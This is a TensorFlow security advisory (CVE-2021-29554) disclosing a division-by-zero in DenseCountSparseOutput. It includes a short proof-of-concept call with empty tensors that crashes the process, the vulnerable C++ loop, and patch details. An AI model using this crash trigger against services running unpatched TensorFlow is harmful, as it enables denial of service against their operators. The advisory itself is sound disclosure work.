Division by 0 in `DenseCountSparseOutput`

Low **mihaimaruseac** published **GHSA-qg48-85hg-mqc5** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
>=2.3.0, < 2.5.0	2.3.3, 2.4.2

Description

Impact

An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.DenseCountSparseOutput`:

```
import tensorflow as tf

values = tf.constant([], shape=[0, 0], dtype=tf.int64)
weights = tf.constant([])

tf.raw_ops.DenseCountSparseOutput(
  values=values, weights=weights,
  minlength=-1, maxlength=58, binary_output=True)
```

This is because the implementation computes a divisor value from user data but does not check that the result is 0 before doing the division:

```
int num_batch_elements = 1;
for (int i = 0; i < num_batch_dimensions; ++i) {
  num_batch_elements *= data.shape().dim_size(i);
}
int num_value_elements = data.shape().num_elements() / num_batch_elements;
```

Since `data` is given by the `values` argument, `num_batch_elements` is 0.

Patches

We have patched the issue in GitHub commit da5ff2daf618591f64b2b62d9d9803951b945e9f.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, and TensorFlow 2.3.3, as these are also affected.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29554

Weaknesses

No CWEs